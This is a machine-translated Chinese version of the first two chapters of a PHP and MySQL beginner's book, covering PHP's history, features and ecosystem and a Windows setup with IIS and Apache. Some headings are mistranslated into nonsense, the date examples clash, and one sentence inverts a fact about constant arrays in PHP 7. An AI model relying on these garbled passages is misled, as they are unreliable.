PHP-MySQL-入门教程-全-

PHP MySQL 入门教程(全)

原文:Beginning PHP and MySQL

协议:CC BY-NC-SA 4.0

一、PHP 简介

技术民主化指的是越来越多的人可以使用技术的过程。也许没有比互联网更强大的民主化仲裁者了,互联网已经成为全球开发者构建和共享开源软件的平台。 1 这个软件反过来又被用来驱动财富 50 强企业、主权国家、教育机构、创业公司、各种组织和个人拥有的数百万个网站。

虽然有很多协作开发技术的优秀例子,它们似乎是凭空出现,成为互联网技术领域的主导者(Apache web server,以及 Perl、Python 和 Ruby 语言都出现在脑海中),但可能没有一种语言像 PHP 语言那样获得如此广泛的关注。20 世纪 90 年代中期,加拿大/丹麦软件开发人员拉斯马斯·勒德尔夫创建了这个项目,以增强他个人网站的功能,他很快就开始将这些增强功能背后的代码提供给其他人,并将这个项目命名为个人主页,或 PHP。其余的,正如他们所说,都是历史了。

根据 2013 年 1 月 Netcraft 的一项调查,每一个后续版本提交增强功能和漏洞修复的贡献者数量都有所增加,此外用户数量也呈双曲线增长,从 20 世纪 90 年代中期的几十个增加到惊人的 2.44 亿个网站(包括脸书、维基百科、思科 WebEx 和 IBM 等)。在 web 开发人员有如此多的高质量选项可供选择的环境中,PHP 似乎无处不在,这确实是一个惊人的成就。在 2016 年和 2017 年,据报道3PHP 在 82%的已知编程语言的 Web 服务器上使用。

那么,究竟是什么让 PHP 成为如此吸引人的语言呢?在这一章中,我希望提出这样的论点,向您介绍这种语言的主要特性,重点是当前版本,并调查在许多方面增强这种语言的巨大 PHP 生态系统。本章结束时,你将学会以下内容:

  • PHP 语言的哪些关键特性对初学者和专家程序员都有如此大的吸引力?

  • PHP 7 的当前主要版本(推荐使用的版本)提供了什么,以及在即将到来的版本中会有什么。

  • PHP 生态系统如何以无数种方式扩展 PHP 的功能。

这本书的内容集中在 PHP 作为构建 web 应用的脚本语言,但是这种语言还可以有更多的用途。它可以在各种平台上使用,从小型单板计算机(如 Raspberry Pi)到大型大型机系统(如 IBM System 390),以及介于两者之间的任何系统。PHP 通常用作管理任务的命令行工具,它可以用于运行 CRON 作业,与 web 应用共享一个大型代码库。

PHP 的主要特性

每个用户都有使用 PHP 构建他们梦想中的 web 应用的特定原因,尽管人们可能会认为这些动机可以分为四类:实用性、功能、可能性和价格。

实际

PHP 的存在有一个简单的原因:将动态内容引入静态的 web 环境。如今,整个网站都是动态组装的;但是,仍然有很多机会向页面添加非常简单的动态内容,比如搜索输入框的自动完成。PHP 很容易适应这个范围的两端,由于入门门槛低,它很适合新程序员。例如,一个有用的 PHP 脚本可以只包含一行代码;与许多其他语言不同,没有必要强制包含库。例如,下面的启用 PHP 的网页代表一个有效的 PHP 脚本,其中从<?php?>之间的所有内容都将被视为代码部分。其他所有内容都是静态 HTML,不加处理地传递给客户端:

<html>
<head>
<title>My First PHP Script</title>
</head>
<body>
<?php echo "Hello, world!"; ?>
</body>
</html>

当客户机请求包含这一行代码的网页时,服务器将执行脚本中 PHP 代码的部分(下一章将详细介绍),字符串Hello, world!将嵌入到页面中原始代码所在的位置。当然,如果有人对输出静态文本感兴趣,那么首先也可以使用普通的 HTML,所以让我们考虑第二个例子,它包含更有趣的内容,即今天的日期(为了可读性,我先不把这些例子封装在<?php?> PHP 分隔符中,它们让服务器的 PHP 解释器知道应该执行脚本的哪些部分):

echo date("F j, Y");

如果今天是 2017 年 11 月 2 日,那么您会看到网页中的日期输出如下

November 2, 2017

如果这种特殊的日期格式不符合您的需要,您可以使用一组不同的格式说明符,例如

echo date("m/d/y");

一旦执行,您将看到相同的日期呈现为

11/08/17

如果这段代码看起来晦涩难懂,请不要担心。在后面的章节中,PHP 语法将被详细解释。目前,试着了解事情的要点。

当然,输出动态文本实际上并没有触及 PHP 功能的表面。因为 PHP 首先是一种 web 开发语言,所以从逻辑上讲,它包含了各种有趣的特性,能够执行诸如文本处理、与操作系统对话以及处理 HTML 表单等任务。考虑到文本处理,PHP 实际上提供了超过 100 个函数(执行特定任务的代码块),这些函数似乎可以用任何可以想到的方式操作文本。例如,您可以使用ucfirst()函数将字符串的第一个字符转换成大写:

echo ucfirst("new york city");

执行这一行会产生

New york city

虽然比原文有所改进,但结果仍然不正确,因为三个单词都应该大写。使用ucwords()函数修改您的示例,如下所示:

echo ucwords("new york city");

运行修改后的代码会产生

New York City

正是我们要找的!事实上,PHP 提供了以无数种方式操纵文本的函数,包括计算单词和字符,删除空白和其他不需要的字符,替换和比较文本,等等。

无论是日期格式化、字符串操作、表单处理,还是许多其他任务,PHP 语言通常都提供了非常实用的解决方案,希望这几个例子能够说明这一点。在接下来的章节中,我将返回数百个这样的例子!

力量

PHP 语言可以用称为扩展的库(实现某些行为的代码集合,比如连接到电子邮件服务器)来扩展。其中许多是与语言捆绑在一起的,或者可以通过 PECL 这样的网站下载。总的来说,这些库包含超过 1,000 个函数(同样,函数是执行特定任务的代码块),此外还有数千个第三方扩展。虽然您可能已经知道 PHP 与数据库交互、操纵表单信息和动态创建页面的能力,但是当您得知 PHP 还可以做以下事情时,可能会感到惊讶:

  • 与多种文件格式互操作,包括 Tar、Zip、CSV、Excel、Flash 和 PDF。

  • 通过将密码与语言词典和容易破解的模式进行比较,评估密码的可猜测性。

  • 解析和创建常见的数据交换格式,如 JSON 和 XML,这两种格式在构建与 Twitter 和脸书等第三方服务交互的 web 应用时已经成为事实上的标准。

  • 管理文本文件、数据库、微软活动目录中的用户帐户信息,并与脸书、GitHub、谷歌和 Twitter 等第三方服务接口。

  • 创建文本和 HTML 格式的电子邮件,并与邮件服务器协同工作,将这些电子邮件发送给一个或多个收件人。

其中一些特性可以在本地语言中获得,而其他特性可以通过在线资源(如 Composer、PHP 扩展和应用库(PEAR)和 GitHub)等第三方库获得,这些库作为数百个易于安装的开源包的库,以无数种方式进一步扩展 PHP。

PHP 还提供了一个可扩展的基础设施,使得集成用 c 编写的功能成为可能。其中许多功能都可以在 PECL 资源库( https://pecl.php.net )中找到。PECL 是 PEAR 扩展代码库的首字母缩写。

可能性

PHP 开发人员很少受限于任何单一的实现解决方案。相反,用户通常充满了语言提供的选择。例如,考虑 PHP 的一系列数据库支持选项。为超过 25 种数据库产品提供了本机支持,包括 IBM DB2、Microsoft SQL Server、MySQL、SQLite、Oracle、PostgreSQL 等。也有几种通用的数据库抽象解决方案,其中最流行的是 PDO ( https://www.php.net/pdo )。PDO 是 PHP 的一个核心特性,它与大多数 PHP 发行版捆绑在一起,默认情况下是启用的。

最后,如果你正在寻找一个对象关系映射(ORM)解决方案,像 Doctrine ( https://www.doctrine-project.com )这样的项目应该非常适合。

PHP 前面提到的灵活的字符串解析能力为不同技能的用户提供了机会,不仅可以立即开始执行复杂的字符串操作,还可以快速地将类似功能的程序(如 Perl 和 Python)移植到 PHP 上。除了近 100 个字符串操作函数之外,还支持基于 Perl 的正则表达式格式(在 5.3 版之前还支持基于 POSIX 的正则表达式,但在 PHP 7 中已被弃用和删除)。

你更喜欢包含过程编程的语言吗?拥抱面向对象的范例怎么样?PHP 对两者都提供了全面的支持。尽管 PHP 最初只是一种过程语言,但开发人员后来意识到提供流行的 OOP 范例的重要性,并采取措施实现了一个广泛的解决方案。这并没有取代这种语言的过程性质,而是增加了一种新的使用方式。

这里反复出现的主题是 PHP 允许您以很少的时间投入快速利用您当前的技能。这里给出的例子只是这种策略的一小部分,这种策略在语言中反复出现。

价格

PHP 是开源软件,可以免费下载并用于个人和商业用途! 4 开源软件和互联网形影不离。Sendmail、Bind、Linux 和 Apache 等开源项目在整个互联网的持续运行中扮演着重要的角色。虽然不必支付辛苦赚来的钱肯定是开源软件最吸引人的方面之一,但其他几个特征也同样重要:

  • 摆脱大多数商业产品强加的许多许可限制:开源软件用户摆脱了商业对手的绝大多数许可限制。尽管许可证变体之间确实存在一些差异,但是用户可以自由地修改、重新发布和集成软件到其他产品中。

  • 开放开发和审计过程:尽管并非没有事故,开源软件长期以来享有一流的安全记录。如此高质量的标准是开放开发和审计过程的结果。因为任何人都可以免费查看源代码,所以安全漏洞和潜在问题通常可以很快被发现和修复。开源倡导者 Eric S. Raymond 对这一优势做了最好的总结,他写道:“如果有足够多的眼球,所有的错误都是肤浅的。”

  • 鼓励参与:开发团队不限于某个特定的组织。任何有兴趣和能力的人都可以自由加入这个项目。成员限制的消除极大地增强了给定项目的人才库,最终有助于更高质量的产品。

  • 低运营成本 : PHP 在低端硬件上高效运行,需要时很容易扩展,很多机构以较低的每小时成本提供初级/入门级资源。

PHP 的现状

在撰写本文时,PHP 当前的稳定版本是 7.1,尽管在您阅读本书时,版本号无疑已经向前发展了。不用担心;尽管我使用的是 7.1 的测试版来构建和测试这些例子,但你在本书中尝试的任何例子无疑都可以很好地与你安装的 PHP 版本兼容(下一章将详细介绍)。PHP 5.x 和 PHP 7.x 就是这种情况。我建议您至少使用 7.x 版本,以便利用这个版本提供的很酷的新功能、巨大的性能改进和正在进行的安全/错误修复,尽管我一定会清楚地指出任何 7.x 特定的功能,以免您或您的主机提供商碰巧还没有升级时产生任何混淆。

虽然看起来我在版本号上小题大做,但事实是你可以用任何 5.4 或更新版本的 PHP 正确执行本书中 99%的例子。这是因为版本 5.0(发布于十多年前,2004 年 7 月)代表了 PHP 发展的一个重要分水岭。版本 7 于 2015 年秋季发布,尽管有一些新功能,但此次发布的重点是性能和内存使用。事实上,与在 PHP 5 下运行的相同脚本相比,许多 PHP 脚本运行速度提高了一倍,而使用的内存只有一半。尽管以前的主要版本增加了大量新的库,但第 5 版包含了对现有功能的改进,并增加了一些通常与成熟编程语言架构相关的特性。几个最显著的增加包括大幅改进的面向对象能力(在第 6 和 7 章中讨论)、异常处理(在第八章中讨论),以及改进的对 XML 和 web 服务互操作的支持(在第二十章中讨论)。当然,这并不是说 PHP 开发人员从此就不忙了!我将重点介绍几个近年来新增的优秀特性。如果您不理解其中的一些内容,请不要担心,我们将在本书的其余部分涵盖您需要了解的所有内容。这个列表只是为了证明 PHP 是一种不断发展、维护和支持的语言:

  • 名称空间:在 5.3 版本中引入,名称空间是管理和共享代码的一个非常有用的特性。我将在第七章中介绍 PHP 的名称空间支持。

  • 原生 JSON 解析和生成:PHP 的原生 JavaScript 对象符号(JSON)特性从 5.2 版本开始提供,包括解析和生成 JSON 的能力,这是与当今许多现代 web 服务通信和构建尖端 web 应用的基本任务。

  • 极大改进的 Windows 支持:尽管 PHP 在所有主流操作系统上都得到支持,包括 Linux、OS X 和 Windows,但它以前在前两个平台上运行最为有效,绝大多数 Windows 用户在本地开发自己的应用,并部署到基于 Linux/Unix 的托管提供商。然而,近年来,大量的工作已经投入到提高 PHP 在 Windows 上的稳定性和性能上(这在很大程度上要归功于微软自己),使得 Windows Server 成为托管 PHP 驱动的 web 应用的一个完全可以接受的解决方案。

  • 交互式外壳(interactive shell):如果你有使用其他编程语言(如 Ruby 或 Python)的经验,你肯定会喜欢它们的交互式外壳,这使得测试和试验代码变得容易和方便。PHP 5.1 版本也增加了类似的便利,我将在第二章中讨论。我相信 PHP 的交互式 shell 是学习这门语言的一个非常重要的工具,所以我会鼓励你使用它来完成后面章节中的许多例子。

  • 本地 web 服务器:同样,如果你有在 Ruby on Rails 等其他编程环境中工作的经验,你可能会发现内置的 web 服务器非常方便,因为它允许你在本地运行你的 web 应用,只需要最少的配置麻烦。PHP 5.4 版本增加了类似的便利,我将在第二章中向您介绍本地 web 服务器。

  • Traits : Traits 是 Scala、Self、Perl 等语言支持的高级面向对象特性。这个特性在 5.4 版本中被添加到 PHP 中,我将在第七章中向你介绍它。

  • 丰富的增强功能:在每一个 PHP 版本中,除了语法上的变化,比如库函数的添加和修改,您还会发现无数的错误和安全修复以及性能改进。在很大程度上,这些新特性的引入保持了向后兼容性。旧的方式通常至少会维持到下一个主要版本发布。

  • 性能:随着 PHP 7 的发布,对于许多常见用途,原生 PHP 代码的执行时间和内存使用量大约减少了一半,性能改进在 7.1 版本和即将发布的 7.2 版本中继续。任何使用外部服务(如数据库)的代码可能不会看到如此显著的改进,因为查询仍然会花费相同的时间。

  • 标量类型声明 : PHP 是一种松散类型的语言,允许向函数传递任何类型的变量。在某些情况下,开发人员希望强制执行传递的参数类型,如果传递了错误的类型,就会生成警告或错误。在各种 PHP 5.x 版本中引入了一些类型声明,PHP 7 引入了标量类型(string、int、float 和 bool)的声明。

  • 返回类型声明:就像函数参数可以接受不同类型的变量一样,函数的返回值可以是任何允许的类型。为了强制执行返回值的预定义类型,PHP 引入了一种声明返回类型的方法。如果函数返回的类型不同于声明的类型,将会产生错误。

  • 新运算符 : PHP 7 增加了两个新运算符;??也被称为零聚结算子和< = >宇宙飞船算子。两者都旨在减少执行常见操作所需的代码量。

  • 常量数组:在 PHP 7 中,不可能使用 define()函数将数组定义为常量。

  • 匿名类:就像 PHP 5.3 中引入了闭包(匿名函数)一样,PHP 7 也允许使用匿名类。在任何需要将类作为函数参数的地方,都可以动态定义类。

  • 会话选项:现在可以通过解析 session_start()函数的选项数组来定义会话选项。这将覆盖 php.ini 中定义的任何默认值。

那么如何才能跟上语言变化的潮流呢?对于初学者,我建议偶尔在 https://www.php.net 查看一下 PHP 官方主页,尤其是关于 PHP 7 https://php.net/manual/en/migration70.new-features.php 中新功能的页面,这里列出了即将到来的 7.2 版本中的特性 https://php.net/manual/en/migration71.new-features.php 。此外,PHP 文档附录( https://www.php.net/manual/en/appendices.php )提供了关于每个要点和主要版本的详细说明,包括偶尔的向后不兼容更改、新特性和功能、升级提示和配置更改。也可以考虑订阅低容量公告邮件列表,你可以从 https://www.php.net/mailing-lists.php 开始订阅。不定期的电子邮件将与最新的版本保持一致,强调新版本的最新变化。

PHP 生态系统

本书讨论的大部分内容都是为了给你提供阅读和编写 PHP 代码的必要信息。但是,仅仅因为你很快就会成为一名更熟练的 PHP 程序员,并不意味着你应该从头开始构建所有即将出现的 web 应用。事实上,真正精通的程序员知道,快速高效地完成事情往往意味着站在那些已经煞费苦心地构建强大软件(如内容管理系统、电子商务平台和开发框架)的巨人的肩膀上。对于 PHP 开发者来说,幸运的是不缺巨头!在许多情况下,通过修改和扩展现有软件,您将能够大大减少构建功能强大的 web 应用所需的时间和精力,这些软件通常是在类似于 PHP 语言所使用的开源许可下提供的。在这一节中,我想借此机会强调几个值得您在下一个 web 项目中考虑的流行的基于 PHP 的软件实例。

获得

特纳广播公司、福克斯新闻频道、《华盛顿邮报》《大众科学》杂志都拥有庞大的网站,上面有无数的图片、文章、照片库、用户账户和视频。所有这些媒体都有一个共同点,那就是它们都依赖于开源和 PHP 驱动的 Drupal 内容管理框架( https://www.drupal.org )来管理它们令人难以置信的多样化内容。

经过十多年的积极开发,Drupal 拥有大量的特性。有些可以作为 Drupal“核心”的一部分获得(例如,搜索、用户管理和访问控制,以及内容创建),其他的可以通过第三方模块获得(在撰写本文时,有近 32,000 个可以通过 https://drupal.org/project/Modules 获得)。看起来具有无限的可扩展性和主题性,很有可能你每天都会访问不止一个 Drupal 支持的网站,而你自己却不知道!

博客

像 Drupal 一样,WordPress 是一个开源的、PHP 驱动的内容管理系统,已经积累了如此庞大的用户群,你完全有可能每天都访问一个 WordPress 驱动的网站。WordPress 支持的网站包括 TechCrunch、BBC America、官方的星球大战博客,以及更多这里列出的 https://www.wpbeginner.com/showcase/40-most-notable-big-name-brands-that-are-using-wordpress/ 。事实上,WordPress 的用户基数如此之大,以至于据报道它为互联网上 28.7%的网站提供了动力。 5

WordPress 拥有庞大的用户群体,他们在开发插件和主题方面异常活跃。事实上,在撰写本文时,通过 https://wordpress.org/plugins/ and https://wordpress.org/extend/themes/ 分别有近 52,000 个插件和 2,600 个主题可用,并且通过第三方供应商如 https://themeforest.net/category/wordpress 还有更多的插件和主题可用。

胃里

通过网络向全球受众销售产品和服务的诱惑力是不可否认的,但创建和管理网上商店也面临着诸多挑战。目录和产品管理、信用卡处理、移动购物、有针对性的促销整合以及搜索引擎优化只是任何寻求实现一个适度的电子商务解决方案的开发人员所面临的几个障碍。基于 PHP 的 Magento 项目( https://magento.com/ )背后的团队试图通过提供一个令人难以置信的全功能电子商务解决方案来消除这些障碍。

算上用户中的零售巨头耐克、Warby Parker、Office Max、奥奈达、优派和 The North Face,Magento 甚至能够满足最雄心勃勃的期望,而且非常适合小型企业使用。事实上,在撰写本文时,Magento 网站显示全球有超过 150,000 家在线商店由 Magento 提供支持。Magento 有多个版本,包括一个免费的企业版,并享有一个名为 Magento market place(marketplace.``magento.com)home 的庞大社区的支持,可以说它是任何地方任何编程语言中最高质量的电子商务解决方案。

MediaWiki

我怀疑这个星球上没有一个普通的互联网用户没有利用过协作编辑的在线百科全书维基百科( https://www.wikipedia.org )上的巨大知识字体。这些用户中的绝大多数可能没有意识到的是,维基百科完全是建立在自由软件之上的,包括 PHP 和 MySQL!也许更令人惊讶的是,你可以下载用于驱动维基百科的相同软件。名为 MediaWiki ( https://www.wikimedia.org ),需要基于 Wiki 的内容管理解决方案的开发人员可以轻松下载并安装该软件,并开始利用全球数百万 Wikipedia 用户享有的相同功能。

SugarCRM

成长中的公司很快发现有必要采用客户关系管理(CRM)解决方案,以便更有效地管理客户支持、销售团队协作和营销活动。这些解决方案在历史上非常昂贵,经常需要大量的管理资源,并且很少满足用户的特定需求。他们的同名产品 SugarCRM ( https://sugarcrm.com )背后的公司通过提供一个基于 PHP 的 CRM 解决方案,在解决所有这三个问题方面取得了长足的进步,该解决方案足够简单,可以在夫妻店内有效管理,但足够强大和可扩展,可以被诸如 Men's Wearhouse,Coca-Cola Enterprises,甚至技术巨头 IBM 等公司巨头所接受。

SugarCRM 有多个版本,包括免费社区版,可从 https://www.sugarcrm.com/download 下载。需要官方支持、托管或社区版中没有的功能的 CRM 用户可以从各种商业版本中选择,所有这些都在 https://www.sugarcrm.com/products 中有详细描述。

Zend 框架

web 框架不是现成的软件产品,而是通过提供一个基础来解决所有应用(无论用途如何)面临的许多常见挑战,从而帮助开发人员更快、更有效地构建自己的软件解决方案。例如,典型的 web 框架包括在数据库集成、应用视图和逻辑的分离、用户友好 URL 的创建、单元测试和配置管理方面帮助开发人员的特性。

一个流行的 PHP 框架是 Zend Framework ( https://framework.zend.com/ ),这是一个由 PHP 产品和服务提供商 Zend Technologies ( https://www.zend.com )开发的开源项目。最近发布的版本 3 经过了重新编写,非常小心地采用了行业最佳实践,并为当今 web 应用开发人员面临的挑战提供了解决方案,其中包括云和 web 服务集成。

平心而论,Zend Framework 只是几个强大的 PHP 框架之一;其他的还包括 CakePHP、Laravel、Symfony,以及一大堆所谓的“微”框架,比如 Fat-Free 和 Slim。事实上,在第二十一章中,我将向您介绍 Laravel,这是一个相对较新的框架,在我看来,它是寻求用框架提高生产力的 PHP 新程序员的完美切入点。

摘要

这一章是对 PHP 语言的概述,强调了它的起源、当前状态,以及令人难以置信的软件生态系统,它的出现使这种语言变得更加强大和有吸引力。希望这篇概述达到了我的目标,让你对未来的机会感到兴奋!

在第二章中,您将深入研究 PHP 安装和配置过程;您还将了解到更多关于搜索虚拟主机提供商时需要寻找的内容。尽管读者经常把这种类型的章节比作在黑板上抓钉子,但是你可以从对这个过程的更多了解中获得很多。所以,拿起零食,舒适地坐在你的键盘前——是时候把手弄脏了!

二、配置您的环境

PHP 的设计和创建是为了生成注入 HTML 文档的动态内容,或者生成由 web 服务器提供服务的完整 HTML 文档。web 服务器通常是连接到互联网的物理服务器,或者是数据中心中的虚拟或共享服务器。作为开发人员,您还需要一个本地环境,用于开发和测试您正在开发的 web 页面,然后再将它们部署到服务器上。因为 PHP 可以在许多系统上使用,并且支持大量的 web 服务器,所以不可能在一章中涵盖所有可能的组合,但是我们可以涵盖一些最常见的配置。

Apache ( https://httpd.apache.org ) web 服务器已经统治 PHP 环境很长时间了,但是由于速度和内存使用的提高,新的服务器正在获得牵引力。增长最快的服务器之一是 Nginx ( https://www.nginx.org/ ) web 服务器。在基于 Windows 的系统上,也可以使用微软的互联网信息服务器(IIS) ( https://www.iis.net/ )。这三款服务器的市场份额对比可以在这里找到: https://w3techs.com/technologies/comparison/ws-apache,ws-microsoftiis,ws-nginx

某种形式的 Linux 似乎是托管网站最喜欢的操作系统。但开发人员仍然主要使用 Windows 或 macOS 笔记本电脑/台式机进行开发;使用 Linux 作为开发平台的开发人员数量不多,但在不断增加。2017 年的堆栈溢出调查提供了支持这一说法的数字( https://insights.stackoverflow.com/survey/2017 ),尽管这涵盖了 PHP 开发以外的内容。

如果你是一个项目的唯一开发者;您很可能可以在您的本地环境中做任何事情;但是如果您是团队的一员,您可能希望考虑一个共享的 web 服务器,您可以在那里开发/部署和测试您的代码,然后再将代码提交到生产服务器。让开发/测试服务器的配置与生产环境接近一致是一种很好的做法。这将有助于在新页面上线之前发现与系统配置相关的错误。

在设置 web 服务器时,至少有四种基本类型需要考虑:

  • 拥有自己的硬件。您可以完全控制硬件的类型、CPU 的数量和类型、硬盘大小和内存等。您甚至可以联系 IT 部门来为您配置和管理服务器。这种类型的 pf 环境让您可以完全控制,但很可能会有很高的硬件购买初始成本和很高的互联网连接订阅成本。服务器可以托管在您自己的设施中,或者您可以在数据中心租用空间,也称为共置。

  • 一种共享的主机环境,其中主机提供商配置硬件和软件,并为您提供一个用户帐户,该帐户可以访问共享主机上的单个虚拟 web 服务器。在大多数情况下,您将可以访问服务器上的单个目录,并且您对 PHP 的配置或您可以访问的特性没有任何影响。每台服务器将托管多个网站,资源共享可能会有问题,但这通常是最便宜的虚拟主机形式。

  • 租赁但专用的硬件。数据中心将安装和配置硬件,并将其出租,允许用户完全访问硬件。

  • 作为一个中间地带,你可以选择虚拟专用服务器(VPS ),托管公司利用一个强大的服务器群,可以同时托管多个操作系统。你将负责选择和配置操作系统,并安装所有的软件,你需要主持你的网站。你每月只需 10 美元就可以开始;参见( https://www.digitalocean.comhttps://www.linode.com/ 仅举几个例子),有许多主机服务提供商在许多大洲都有数据中心,使得在接近预期用户的地方托管您的新网站成为可能。有了虚拟主机,随着网站流量的增长,升级到更多的 CPU、内存或硬盘空间也变得非常容易。无需购买新硬件,只需选择新计划并迁移服务器。这些主机提供商大多支持迁移,所有的配置都被复制,这样网站在短暂的停机后还能继续工作。

其他云公司也提供对托管环境和许多其他服务的访问。 https://aws.amazon.com/ec2/https://azure.microsoft.com 就是其中的两个例子。

选择托管环境

发布网站从未如此简单。有无数基于云的托管选项,您可以按需付费,并且可以轻松升级到更强大的配置,而无需订购硬件、安装操作系统,然后安装所需的所有软件。

虚拟服务器

如今,最常见的基础架构是虚拟服务器。它就像一个普通的服务器一样工作。你首先去你喜欢的主机提供商(亚马逊 AWS,微软 Azure,谷歌云,数字海洋,Linode,和许多其他的)。第一步是创建一个账户,并提供一张信用卡进行支付。接下来选择服务器的大小(CPU、内存、磁盘空间和网络带宽),然后选择数据中心,最后选择操作系统。几分钟后,您将能够使用 ssh 连接到主机。

平台即服务(PaaS)

如果您想跳过操作系统和 web 服务器软件堆栈的安装、配置和维护,您可以选择 PaaS 解决方案。这也是基于云的,但它更像传统的共享主机。服务提供商将安装和配置运行应用所需的一切,在本例中是 PHP。你所要做的就是把你的 PHP 代码上传到服务器上。这些服务由 Cloudways、Fortrabbit、Appfog、Engine Yard 等公司提供。

安装先决条件

配置环境的第一步通常从下载和安装 web 服务器开始。只要配置为在不同的 TCP 端口上运行,就可以在同一系统上安装多个 web 服务器。对于 http 和 https 协议,web 服务器的默认端口号是 80 和 443,但是您可以选择任何尚未使用的端口。在生产环境中,网站会与一个主机名( www.example.com )相关联。主机名与一个 IP 地址相关联(在本例中为 93.184.216.34)。多个主机名可以链接到同一个 IP 地址。这意味着网站托管在同一台服务器上。在开发环境中,您可能不需要完成主机名的配置。在这种情况下,您可以使用您的环境的 IP 地址和每个网站的新端口号。

Windows 操作系统

在 Windows (10 和 8)上,我们从下载 PHP 的二进制包开始。这个步骤对于任何 web 服务器都是一样的。PHP 的当前版本可以在 https://windows.php.net/download/ 找到,在那里你还可以找到其他有用的信息和链接。它有 x86 (32 位)和 x64 (64 位)两种版本。您应该选择与您的操作系统相匹配的版本。在 Windows 上,还有线程安全(TS)和非线程安全(NTS)版本可供选择。在本章中,我们将使用 NTS 版本,并使用 FastCGI 来集成 web 服务器。下载并解压 zip 存档文件。在本例中,我选择 c:\php7 作为将文件解压到的文件夹。

您可以通过打开一个终端窗口(CMD 或 PowerShel)并执行以下步骤来轻松测试 PHP:

cd \php7
.\php -v

输出将如下所示:

PHP 7.1.11 (cli) (built: Oct 25 2017 20:54:15) ( NTS MSVC14 (Visual C++ 2015) x64 )
Copyright (c) 1997-2017 The PHP Group
Zend Engine v3.1.0, Copyright (c) 1998-2017 Zend Technologies

这是一个使用 PHP 命令行(cli)版本的例子。稍后会详细介绍。

建议您在开发中使用与生产中相同的服务器。在下面几节中,我们将介绍如何安装和配置 IIS、Apache 和 Nginx web 服务器,以使用我们刚刚下载和安装的 PHP 二进制文件。

(同 ImmigrationInspectors 移民检查)

在 Windows 10(和 8)上安装 IIS 从控制面板开始。打开程序和功能部分,并单击左侧的打开或关闭 Windows 功能。这将打开一个弹出窗口,显示一长串可用功能,如图 2-1 所示。

img/314623_5_En_2_Fig1_HTML.jpg

图 2-1

视窗 功能

如果未安装任何内容,Internet 信息服务旁边将不会有复选标记。单击复选框将选择安装选项。黑色方块表示没有安装 IIS 下的所有选项。如果扩展服务,您可以从许多选项中进行选择。为了使用 PHP,你必须选择如图 2-2 所示的 CGI 选项。

img/314623_5_En_2_Fig2_HTML.jpg

图 2-2

IIS 选项

选择选项并按“确定”后,Windows 将安装所有选定的功能,您将可以配置第一个网站。我已经创建了一个名为 c:\Web 的目录,我将在那里保存我的网站。在那个文件夹中,我创建了一个名为 site 的文件夹,并放了一个名为 phpinfo.php 的文件。这是一个非常基本的文件,如下所示:

<?php
phpinfo();

phpinfo()函数是一个内置函数,可以用来显示配置细节、安装的模块和其他参数。像这样的文件不应该存在于生产系统中,因为它可能会给黑客提供攻击服务器所需的信息。

现在让我们继续配置 IIS 下的第一个网站。这从启动 IIS 管理器开始。只需在 Windows 搜索栏中键入 IIS,然后选择应用 Internet Information Server (IIS)管理器。

展开左侧的树以查看名为 Sites 的文件夹,并右键单击该文件夹以获得上下文菜单。这个菜单应该包括顶部的选项添加网站。选择此选项将打开一个弹出窗口,如图 2-3 所示。

img/314623_5_En_2_Fig3_HTML.jpg

图 2-3

添加网站

重要的字段是名称(测试)、物理路径(c:\Web\site)和端口号(8081)。当您添加这些值并单击“确定”时,网站将被创建。此时,网站只支持 HTML 和可能的 ASP 脚本,这取决于您安装的功能。为了启用 PHP 脚本,您必须添加一个处理器。单击左侧面板中的测试网站,然后双击处理器映射图标。这将显示现有处理器的列表。现在右键单击 mappings 列表中的任意位置,并选择 Add Module Mapping 选项。这将弹出一个窗口,您可以在其中输入必要的参数,如图 2-4 所示。

img/314623_5_En_2_Fig4_HTML.jpg

图 2-4

配置 PHP 处理器

现在,您可以通过单击左侧面板中的 Test(我们给服务器起的名字),然后单击右侧面板中的 restart 链接来重启 web 服务器。要测试服务器,请打开您最喜欢的浏览器并键入http://localhost:8081/phpinfo.php。这将产生如图 2-5 所示的输出。

img/314623_5_En_2_Fig5_HTML.jpg

图 2-5

PHP 信息

输出很长,包含每个已安装扩展的部分。图 2-5 仅显示输出的第一页。

街头流氓

转移到阿帕奇。有两种不同的方法来集成 PHP 和 Apache。如果你正在使用 PHP 的非线程安全版本,你将不得不像我们使用 IIS 一样使用 FastCGI。这是最容易操作的版本,推荐给初学者。如果您使用的是线程安全版本,那么您可以使用 Apache 模块,该模块将在 Apache 启动时加载 PHP 模块。长期以来,这一直是 PHP 首选的 web 服务器,Windows 二进制文件由 Apache Lounge 提供,而不是由 Apache Foundation 维护的网站( https://www.apachelounge.com/download/ )。建议使用与您的操作系统(x86 或 x64)匹配的最新副本和版本。下载文件是一个 zip 存档文件,其中包含一个名为 Apache24 的文件夹。只需将这个文件夹解压到 c:\Apache24。要使用 FastCGI 版本,您还必须从同一站点下载 mod_fcgid 归档文件,并将 mod_fcgid.so 复制到 c:\Apache24\modules。

导航到 c:\Apache24\conf 文件夹,在那里您将找到 httpd.conf,这是 Apache 的主要配置文件。在您最喜欢的编辑器中打开该文件,并将包含Listen 80的行更改为Listen 8082。您可以使用系统中尚未使用的任何端口号。我们对 IIS 使用 8081,为了让两台服务器安装在同一系统上,我们对 Apache 使用 8082 端口。

您还需要取消靠近虚拟主机文件底部的那一行的注释,并添加一行来包含 PHP 特定的配置。这可能看起来像Include conf/extra/httpd-php.conf.你将不得不创建文件c:\Apache24\conf\extra\httpd-php.conf与以下内容:

#
LoadModule fcgid_module modules/mod_fcgid.so
FcgidInitialEnv PHPRC "c:/php7"
AddHandler fcgid-script .php
FcgidWrapper "c:/php7/php-cgi.exe" .php

如果您使用线程安全版本和 Apache PHP 模块,该文件应该如下所示:

#
AddHandler application/x-httpd-php .php
AddType application/x-httpd-php .php .html
LoadModule php7_module "c:/php7ts/php7apache2_4.dll"
PHPIniDir "c:/php7ts"

注意,PHP 文件夹名为 php7ts。这是因为我的系统上安装了两个版本。您必须调整文件夹名称以匹配您系统上的安装。

无论哪种情况,您都需要为您的站点配置一个虚拟主机。在这种情况下,我们使用 c:\Web\site 中与 IIS 服务器相同的站点。https-vhosts.conf 文件应该如下所示:

<VirtualHost *:8082>
    ServerAdmin webmaster@dummy-host.example.com
    DocumentRoot "c:/Web/site"
    ServerName dummy-host.example.com
    ServerAlias www.dummy-host.example.com
    ErrorLog "logs/dummy-host.example.com-error.log"
    CustomLog "logs/dummy-host.example.com-access.log" common
</VirtualHost>
<Directory "c:/Web/site" >
    Options FollowSymLinks Includes ExecCGI
    AllowOverride All
    Require all granted
</Directory>

<Directory>部分用于提供 Apache 访问来读取系统上的文件。

